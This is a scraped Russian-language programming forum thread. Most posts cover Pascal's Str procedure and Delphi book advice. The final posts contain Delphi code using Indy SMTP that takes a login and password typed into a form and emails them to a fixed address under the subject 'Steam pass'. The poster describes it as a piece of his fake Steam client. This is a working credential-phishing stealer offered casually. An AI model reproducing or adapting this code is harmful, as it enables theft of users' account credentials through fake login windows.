 |
|
03.06.2010, 19:06
|
|
Участник форума
Регистрация: 07.02.2010
Сообщений: 189
С нами:
8556802
Репутация:
79
|
|
[Dezzter], Вот тут довольно полно написано :
туц |
|
|
03.06.2010, 21:42
|
|
Участник форума
Регистрация: 08.12.2008
Сообщений: 164
С нами:
9170186
Репутация:
54
|
|
Pascal:
Объясните пожалуйста что значит функция виду str (i,k)
k : string;
i : integer;
Читал гугл, реально не понимаю что она делает.
|
|
|
|
03.06.2010, 21:49
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
Переводит число i в сроку k
Например:
var
i : integer;
s : string;
begin
i := 666;
//тут у нас еще пустая строка
Str(i, s);
//а вот тут строка равна '666'
end;
|
|
|
|
04.06.2010, 11:29
|
|
Новичок
Регистрация: 11.04.2010
Сообщений: 10
С нами:
8465570
Репутация:
0
|
|
Сообщение от GhostOnline
Переводит число i в сроку k
Например:
var
i : integer;
s : string;
begin
i := 666;
//тут у нас еще пустая строка
Str(i, s);
//а вот тут строка равна '666'
end;
Мне кажется у меня будет слегка попонятнее 
i := 666;
//тут у нас тип 666 integer, т.е. число
str(i,s); //Переводит числовое значение в строковоe
end.
|
|
|
|
04.06.2010, 12:38
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
А вот и неправильно  
Тип не меняется, просто строка сначала пустая, а после выполнения процедуры содержит число i в строковом виде, а i так остается равным 666 |
|
|
|
06.06.2010, 10:18
|
|
Познающий
Регистрация: 22.11.2009
Сообщений: 53
С нами:
8667664
Репутация:
0
|
|
всем привет, Вот надумал делфи учить.Как думаете начинать с этой книги норм будет: Фленов "Библия Delphi"?
|
|
|
|
06.06.2010, 13:33
|
|
Познающий
Регистрация: 28.09.2008
Сообщений: 65
С нами:
9273261
Репутация:
8
|
|
Сообщение от qwert135
всем привет, Вот надумал делфи учить.Как думаете начинать с этой книги норм будет: Фленов "Библия Delphi"?
ну да,как бы основа основ )
|
|
|
|
06.06.2010, 13:57
|
|
Познающий
Регистрация: 20.01.2010
Сообщений: 43
С нами:
8582520
Репутация:
6
|
|
Можешь в нагрузку еще видеоуроков скачать, так сказать больше визуализации получишь |
|
|
|
06.06.2010, 18:40
|
|
Новичок
Регистрация: 06.03.2010
Сообщений: 3
С нами:
8517840
Репутация:
0
|
|
procedure TForm1.IdSMTP1Connected(Sender: TObject);
Что тут не правильно..?
Последний раз редактировалось MUNY; 06.06.2010 в 19:19..
|
|
|
|
06.06.2010, 19:19
|
|
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами:
9637731
Репутация:
106
|
|
begin
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='abcd@ yandex.ru';
IdSMTP1.Password:='abcd@yandex.ru';
IdMessage1.Body.Text:=edit1.Text+':'+edit2.Text;
IdMessage1.From.Text:='qwerty@mail.ru';
IdMessage1.Recipients.EMailAddresses:='qwerty@mail .ru';
IdMessage1.Subject:='accs';
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
Код:
begin
idSMTP1.Host:='smtp.mail.ru';
idSMTP1.Username:='login';
idSMTP1.Password:='pass';
idMessage1.Body.text:='Login - '+Edit1.Text+' Pass -'+Edit2.Text;
idMessage1.From.Text:='login@mail.ru';
idmessage1.Recipients.EMailAddresses:='kyda@mail.ru';
idMessage1.Subject:='Steam pass';
if (Edit1.text='') or (edit2.Text='') then
MessageBox(0, 'вы не ввели Логин или Пароль', 'Error', MB_ICONWARNING)
else
idSmtp1.Connect;
idSmtp1.Send(idMessage1);
label1.Font.Color:=clGreen;
label1.Caption:='Online';
end;
вот кусок из моего фейка стима
Последний раз редактировалось Vlad3d; 06.06.2010 в 19:22..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
